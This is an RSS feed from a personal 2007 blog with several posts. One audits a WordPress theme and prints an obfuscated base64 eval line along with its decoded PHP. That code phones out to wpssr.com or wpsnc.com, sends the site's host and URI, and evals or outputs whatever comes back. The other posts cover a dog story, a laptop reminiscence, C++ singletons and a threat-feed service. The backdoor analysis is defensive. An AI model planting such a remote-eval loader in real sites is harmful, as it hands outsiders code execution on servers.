<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.3.3" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>codescout dot org</title>
	<link>http://codescout.org</link>
	<description>TheRantingsOfPaulCarrollAndOtherNonsense</description>
	<pubDate>Mon, 19 Nov 2007 00:33:19 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.3</generator>
	<language>en</language>
			<item>
		<title>Audit Those 3rd Party Themes and Plugins Before Enabling Them</title>
		<link>http://codescout.org/2007/11/17/audit-those-3rd-party-themes-and-plugins-before-enabling-them/</link>
		<comments>http://codescout.org/2007/11/17/audit-those-3rd-party-themes-and-plugins-before-enabling-them/#comments</comments>
		<pubDate>Sat, 17 Nov 2007 17:39:04 +0000</pubDate>
		<dc:creator>shad0bear</dc:creator>
		
		<category><![CDATA[InfoSec]]></category>

		<guid isPermaLink="false">http://codescout.org/2007/11/17/audit-those-3rd-party-themes-and-plugins-before-enabling-them/</guid>
		<description><![CDATA[I found a nice theme that I thought would be great for my site.  I went ahead and installed it and set it as my current theme.  I liked it, but it needed some tweaking.  I went in and manipulated the stylesheet to change colors, positions, etc.  I needed to make [...]]]></description>
			<content:encoded><![CDATA[<p><!-- rbStTkFx -->I found a nice theme that I thought would be great for my site.  I went ahead and installed it and set it as my current theme.  I liked it, but it needed some tweaking.  I went in and manipulated the stylesheet to change colors, positions, etc.  I needed to make some changes to the header file.  I opened it up in vi and started scrolling through it.  I found something in there that I hadn&#8217;t expected to find.  A piece of PHP code with an eval of a base64 encoded string.  Here is the line I am refering to:</p>
<p><code><br />
@eval(@base64_decode('aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMD\<br />
kxNiA9IEBmc29 ja29wZW4oInd3dy53cHNzci5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0R\<br />
kZCQ0NFM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QnXSk7ICAkUjNFMzNFMDE3Q0Q3NkI5QjdFN\<br />
kM3MzY0RkI5MUUyRTkwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRSNkU0RjE0QjMzNTI0M\<br />
0JFNjU2QzY1RTNFRDlFMUIxMTUpOyAgQGV2YWwoJFIzRTMzRTAxN0NENzZCOUI3RTZDN\<br />
zM2NEZCOTFFMkU5MCk7IH0gZWxzZSB7ICAkUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEO\<br />
UU2MDVCNjk2ID0gIjAiOyAgJFI2RTRGMTRCMzM1MjQzQkU2NTZDNjVFM0VEOUUxQjExN\<br />
SA9ICJodHRwOi8vd3d3LiRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUuY\<br />
29tL3ckUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2LnBocD91cmw9Ii4gd\<br />
XJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIiYiLiAiaG9zdD0iLiB1c\<br />
mxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsgIEByZWFkZmlsZSgkUjZFNEYxN\<br />
EIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1KTsgfSBmY2xvc2UoJFIzN0MwMTREQUU1R\<br />
kU0RkU1Qzc3QjY3MzVBQkMzMDkxNik7'));</code></p>
<p>I am always very suspicious when someone obfuscates a piece of code on a web server or in a javascript.  I quickly copied the code into a test file, altered it to print out the decode to stdout.  Here is what the decode produced:</p>
<p><code><br />
if($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpssr.com"\<br />
, 80,  $R32D00070D4FFBCCE2FC669BBA812D4C2, \<br />
$R5F525F5B398DADD7CF0784BD406298E3, 3)) {<br />
$R50F5F9C80F12FFAE8B2400528E81B34E = "wpssr";<br />
}<br />
elseif($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpsnc.com"\<br />
, 80,  $R32D00070D4FFBCCE2FC669BBA812D4C2, \<br />
$R5F525F5B398DADD7CF0784BD406298E3, 3)) {<br />
$R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc";<br />
}<br />
else {<br />
$R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc2";<br />
}<br />
@eval($R14AF1BE9EE26A90921E64A82E7836797 = 1);<br />
if($R14AF1BE9EE26A90921E64A82E7836797 AND \<br />
ini_get('allow_url_fopen')) {<br />
@eval($RD3FE9C10A808A54EA2A3DBD9E605B696 = "1");<br />
$R6E4F14B335243BE656C65E3ED9E1B115 = \<br />
"http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com\<br />
/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". \<br />
urlencode($_SERVER['REQUEST_URI']) ."&amp;". "host=". \<br />
urlencode($_SERVER['HTTP_HOST']);<br />
$R3E33E017CD76B9B7E6C7364FB91E2E90 = \<br />
@file_get_contents($R6E4F14B335243BE656C65E3ED9E1B115);<br />
}<br />
else<br />
{<br />
@eval($RD3FE9C10A808A54EA2A3DBD9E605B696 = "0");<br />
$R6E4F14B335243BE656C65E3ED9E1B115 = \<br />
"http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com\<br />
/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". \<br />
urlencode($_SERVER['REQUEST_URI']) ."&amp;". \<br />
"host=". urlencode($_SERVER['HTTP_HOST']);<br />
readfile($R6E4F14B335243BE656C65E3ED9E1B115);<br />
}<br />
fclose($R37C014DAE5FE4FE5C77B6735ABC30916);</code></p>
<p>It appears that the script attempts to open a connection to the site &#8220;www.wpssr.com&#8221;, if successful, it sets a base url variable to &#8220;wpssr&#8221;.  If this fails it attempts to open a connection to &#8220;www.wpsnc.com&#8221;, if successful, it sets the base url variable to &#8220;wpsnc&#8221;.  If both of these fail, it sets the base url variable to &#8220;wpsnc2&#8243;.</p>
<p>Once the base url variable is set, it sets another variable to true using an eval call.  Then it varifies this variable is true and that the php installation running on the server allows scripts to open urls as file handles.  If this is true, it sets another variable (call it filename) to &#8220;1&#8243;.  The url is then formed by concatenating the base url variable, the filename variable, the request URI and the server hostname.  The full url will look something like this  &#8220;http://www.wpssr.com/w1.php?url=index.php&amp;host=codescout.org&#8221;.  Next the request is made and the response is assigned to a response variable.  The contents of the response are then run through a eval call.  This is very very very dangerous, since unknown and untrusted code can be run on your server!</p>
<p>If your server does not allow opening of urls as filenames, the url is constructed like the above example, except that the filename is w0.php.  The url is then sent as an argument to the readfile function which will retrieve and output the contents.</p>
<p>I tested the request and the response is empty. I don&#8217;t believe the theme&#8217;s author was attempting anything malicious.  The script appears to be a method to allow him/her to track who is using the theme.</p>
<p>I think the potential for abuse of this script is huge.  I see it as a covert channel to setup Word Press enabled sites as thin zombies.  The code being sent back to the server and eval&#8217;d could be a mailing script for spam or phishing.</p>
<p>The eval function is a dangerous feature of PHP.  It may provide convenience and flexibility for a PHP developer, but it is also too easy to abuse.  If you are using a CMS or Application Framework that makes use of the eval function in PHP, you have to take the time and review the code.  Especially any plugins or themes written by a third party.</p>
]]></content:encoded>
			<wfw:commentRss>http://codescout.org/2007/11/17/audit-those-3rd-party-themes-and-plugins-before-enabling-them/feed/</wfw:commentRss>
		</item>
		<item>
		<title>A Dog&#8217;s Purpose (from a 6-year old)</title>
		<link>http://codescout.org/2007/11/13/a-dogs-purpose-from-a-6-year-old/</link>
		<comments>http://codescout.org/2007/11/13/a-dogs-purpose-from-a-6-year-old/#comments</comments>
		<pubDate>Tue, 13 Nov 2007 19:02:25 +0000</pubDate>
		<dc:creator>shad0bear</dc:creator>
		
		<category><![CDATA[General Thoughts]]></category>

		<guid isPermaLink="false">http://codescout.org/2007/11/13/a-dogs-purpose-from-a-6-year-old/</guid>
		<description><![CDATA[I usually avoid gushy stories and I normally despise &#8220;forwards&#8221;, but being a dog lover and considering this one came from my wife, I read it.
It broke my heart when my two dobermans Kahlua and Tasha passed away.  I thought I wouldn&#8217;t ever get another dog, but then Ben and Geri came along.  [...]]]></description>
			<content:encoded><![CDATA[<p><!-- rbStTkFx -->I usually avoid gushy stories and I normally despise &#8220;forwards&#8221;, but being a dog lover and considering this one came from my wife, I read it.</p>
<p>It broke my heart when my two dobermans Kahlua and Tasha passed away.  I thought I wouldn&#8217;t ever get another dog, but then Ben and Geri came along.  I know in what I consider a very short time, they will pass on and I will be sad again.  The pain is worth it though, because the joy and comfort they bring in their short lifetimes is priceless.  I&#8217;m not putting this story up to suggest those who read it should live by this creed.  I&#8217;m posting it as testimony to dogs and how much they have given man for over 10,000 years.  I love dogs and I always hope I have them in my life.</p>
<p>Here is the story&#8230;</p>
<p>Being a veterinarian, I had been called to examine a  ten-year-old Irish Wolfhound named Belker.  The dog&#8217;s owners, Ron, his wife Lisa, and their little boy Shane, were all very attached to Belker and they  were hoping for a miracle.</p>
<p>I examined Belker and found he was dying.  I told the family we couldn&#8217;t do anything for Belker and offered to perform the euthanasia procedure for the old dog in their home.</p>
<p>As we made arrangements, Ron and Lisa told me they thought it would be good for six-year-old Shane to observe the procedure.  They felt as though Shane might learn something from the experience</p>
<p>The next day, I felt the familiar catch in my throat as Belker&#8217;s family surrounded him.  Shane seemed so calm,  petting the old dog for the last time, that I wondered if he understood what was going on.  Within a few<br />
minutes, Belker slipped peacefully  away.</p>
<p>The little boy seemed to accept Belker&#8217;s transition without any difficulty or confusion.  We sat together for a while after Belker&#8217;s death, wondering aloud about the sad fact that animal lives are shorter than human lives.  Shane, who had been listening quietly, piped up, &#8220;I know why.&#8221;</p>
<p>Startled, we all turned to him.  What came out of his mouth next stunned me.  I&#8217;d never heard a more comforting explanation.</p>
<p>He said, &#8220;People are born so that they can learn how to live a good life &#8212; like loving everybody all the time and being nice, right?&#8221;  The Six-year-old continued, &#8220;Well, dogs already know how to do that, so they don&#8217;t have to stay as long.&#8221;</p>
<p>Live simply.<br />
Love  generously.<br />
Care deeply.<br />
Speak kindly.</p>
<p>Remember, if a dog was the teacher you would learn things like:</p>
<ul>
<li>  When loved ones come home, always run to greet them.</li>
<li>  Never pass up the opportunity to go for a joyride.</li>
<li>  Allow the experience of fresh air and the wind in your face to be pure ecstasy.</li>
<li>  Take naps.</li>
<li>  Stretch before rising.</li>
<li>  Run, romp, and play daily.</li>
<li>  Thrive on attention and let people touch you.</li>
<li>  Avoid biting when a simple growl will do.</li>
<li>  On warm days, stop to lie on your back on the grass.</li>
<li>  On hot days, drink lots of water and lie under a shady tree.</li>
<li>  When you&#8217;re happy, dance around and wag your entire body.</li>
<li>  Delight in the simple joy of a long walk.</li>
<li>  Eat with gusto and enthusiasm.  Stop when you have had enough.</li>
<li>  Be loyal.  Never pretend to be something you&#8217;re not.</li>
<li>  If what you want lies buried, dig until you find it.</li>
<li>When someone is having a bad day, be silent, sit close by and nuzzle them gently.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://codescout.org/2007/11/13/a-dogs-purpose-from-a-6-year-old/feed/</wfw:commentRss>
		</item>
		<item>
		<title>I Miss My Mac</title>
		<link>http://codescout.org/2007/11/13/i-miss-my-mac/</link>
		<comments>http://codescout.org/2007/11/13/i-miss-my-mac/#comments</comments>
		<pubDate>Tue, 13 Nov 2007 17:46:27 +0000</pubDate>
		<dc:creator>shad0bear</dc:creator>
		
		<category><![CDATA[General Thoughts]]></category>

		<guid isPermaLink="false">http://codescout.org/2007/11/13/i-miss-my-mac/</guid>
		<description><![CDATA[Every time I boot up either one of my Dell laptops, I think about the first time I powered up my Apple iBook.  It was a couple of years ago, but I remember it like yesterday.  The sleekness of the body and the simplicity of the design made my eyes dilate with desire. [...]]]></description>
			<content:encoded><![CDATA[<p><!-- rbStTkFx -->Every time I boot up either one of my Dell laptops, I think about the first time I powered up my Apple iBook.  It was a couple of years ago, but I remember it like yesterday.  The sleekness of the body and the simplicity of the design made my eyes dilate with desire.  Not sexual desire, but the type of desire and excitement you experience when you see a high end sports car or the moment you taste a fine cheese or wine.  You know, the kind of feeling that only the finer things in life can elicit.  That to me is my iBook when I used it.</p>
<p>My wife has been using it for a couple of years now and I only have the opportunity to use it once in a while.  She doesn&#8217;t like when technology refuses to work, so it was a natural fit to pass my iBook on to her.  That is what you do for the people and things that you love.  You do what is best for them.  There are many things that my wife is not aware of that the iBook can do, but I don&#8217;t feel like there is lost potential in this&#8230;  There are also a great deal of mundane things that it does which she is not aware of either and I feel that is where the beauty of the design shows itself the most.  My wife doesn&#8217;t have to be a technophile or understand what a registry is and why it has rotted.  She just opens and closes the lid to use the iBook at her whim.</p>
<p>My iBook is aging now, it has scratches, a failing battery, and a new hard drive.  There are the newer Intel MacBook models that are forcing it into obsolescence and one day it will be nothing more than a paperweight.  Until that day comes it will remain a classy and sleek design that refuses to force the end user to think, like the body doesn&#8217;t force us to remember to breath.</p>
]]></content:encoded>
			<wfw:commentRss>http://codescout.org/2007/11/13/i-miss-my-mac/feed/</wfw:commentRss>
		</item>
		<item>
		<title>First Class Objects, Polymorphic Objects, and Singletons</title>
		<link>http://codescout.org/2007/10/30/first-class-objects-polymorphic-objects-and-singletons/</link>
		<comments>http://codescout.org/2007/10/30/first-class-objects-polymorphic-objects-and-singletons/#comments</comments>
		<pubDate>Tue, 30 Oct 2007 16:15:18 +0000</pubDate>
		<dc:creator>shad0bear</dc:creator>
		
		<category><![CDATA[C/C++]]></category>

		<category><![CDATA[Programming]]></category>

		<category><![CDATA[reference]]></category>

		<guid isPermaLink="false">http://codescout.org/2007/10/30/first-class-objects-polymorphic-objects-and-singletons/</guid>
		<description><![CDATA[Here is a good explanation of First Class Objects, Polymorphic Objects, and Singletons that my FSU Professor, Dr. Chris Lacher posted.
Question received by other means:
In the requirements [for Project 1] you call for the copy constructor and the assignment operator to be private for each class.  Shouldn&#8217;t they be public for the classes to [...]]]></description>
			<content:encoded><![CDATA[<p><!-- rbStTkFx -->Here is a good explanation of First Class Objects, Polymorphic Objects, and Singletons that my FSU Professor, Dr. Chris Lacher posted.</p>
<p>Question received by other means:</p>
<blockquote dir="ltr" style="margin-right: 0px"><p><em>In the requirements [for Project 1] you call for the copy constructor and the assignment operator to be private for each class.  Shouldn&#8217;t they be public for the classes to be fully qualified types?</em></p></blockquote>
<p>Yes. But there&#8217;s a lot more underneath this question. First some terminology:</p>
<ol>
<li>A class that is what we call &#8220;proper type&#8221; is often called a <em><u>first class</u> </em>type.</li>
<li>A type that is intended to be used in a polymorphic environment (such as our tracker project) is called a <em><u>polymorphic</u> </em>type.</li>
<li>A type for which there should be only one instance in a given namespace is called a <em><u>singleton</u></em>.</li>
</ol>
<p>(These terms apply, ambiguosly, to either classes or objects.) All of these are related to the question - why make the copy constructor and assignment operator private, and what are the implications?</p>
<p><strong>Singletons.</strong> Note that if the copy ctor and operator= are private, then no client program may use them. The effect is that a client program is not allowed to make copies of these objects - either explicitly (using operator=) or implicitly (using copy ctor). The client program attempting to call a function by value with one of these objects as argument, or assign one to another, will get a compile error. You prevent the class implementation code from making copies by <strong>not implementing</strong> these methods, so they too will get an error if one is used, albeit from the linker instead of the compiler. Thus both (1) making the copy ctor and operator= private and (2) omitting implementations for them will serve to make the object a singleton. (There is more to it than this, but this is an excellent start.)</p>
<p><strong>Polymorphic objects</strong>. In polymorphism, if object copies are allowed, they are usually made with a public member function named Clone() that returns a pointer to a copy of this object. In this situation, you want the copy ctor and operator= private, but you do provide implementations. Then you have a method Clone() that is implemented something like:</p>
<p><code>X* X::Clone <span style="font-family: Verdana">{return X</span><span style="font-family: Verdana">ptr = new X (*this);} // calls copy ctor</span></code></p>
<p><span style="font-family: Verdana">Note that in a polymorphic setting, we are typically using pointers to type X (and its derived classes). If the client program has two pointers, p1 and p2, and wants p2 to be a (deep) copy of p1, the code would be </span></p>
<p><code><span style="font-family: Verdana">p2 = p1-&gt;Clone();</span></code></p>
<p><span style="font-family: Verdana"><span style="font-family: Verdana"><strong>First Class Objects.</strong> These are objects from a proper type. They behave just like a native type such as char, int, or float. Yu can assign to or from them and let them go out of scope with no unfortunate consequences. </span></span></p>
<p><span style="font-family: Verdana"><span style="font-family: Verdana">What we have done in project 1 is make the various classes singletons. We could make the types polymorphic, but there was no need, and it&#8217;s a can of worms. You will run into these ideas again, either in school or professionally.</span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://codescout.org/2007/10/30/first-class-objects-polymorphic-objects-and-singletons/feed/</wfw:commentRss>
		</item>
		<item>
		<title>ThreatSTOP</title>
		<link>http://codescout.org/2007/10/10/threatstop/</link>
		<comments>http://codescout.org/2007/10/10/threatstop/#comments</comments>
		<pubDate>Wed, 10 Oct 2007 16:46:19 +0000</pubDate>
		<dc:creator>shad0bear</dc:creator>
		
		<category><![CDATA[Sensor Nets]]></category>

		<category><![CDATA[security]]></category>

		<category><![CDATA[threat feeds]]></category>

		<guid isPermaLink="false">http://codescout.org/2007/10/10/threatstop/</guid>
		<description><![CDATA[My good friend Tom Byrnes has conceived and created a blocker list service that is distributed via DNS as a feed.  These threat feeds are built from several sources including the Internet Storm Center - DSHEILD, TQM3, and subscribers voluntarily submitted log files.  This provides a user with a listing of the major [...]]]></description>
			<content:encoded><![CDATA[<p><!-- rbStTkFx -->My good friend Tom Byrnes has conceived and created a blocker list service that is distributed via DNS as a feed.  These threat feeds are built from several sources including the Internet Storm Center - DSHEILD, TQM<sup>3</sup>, and subscribers voluntarily submitted log files.  This provides a user with a listing of the major threats that have risen above the &#8220;noise&#8221; on the net.  Unlike a LAN based IDS/IPS, each bad player is identified by several sources instead one, which significantly reduces the chance of a false positive.  This service is known as ThreatSTOP (http://www.threatstop.com)</p>
<p>Implementing ThreatSTOP is extremely easy to get up and running on specific firewall platform.</p>
]]></content:encoded>
			<wfw:commentRss>http://codescout.org/2007/10/10/threatstop/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
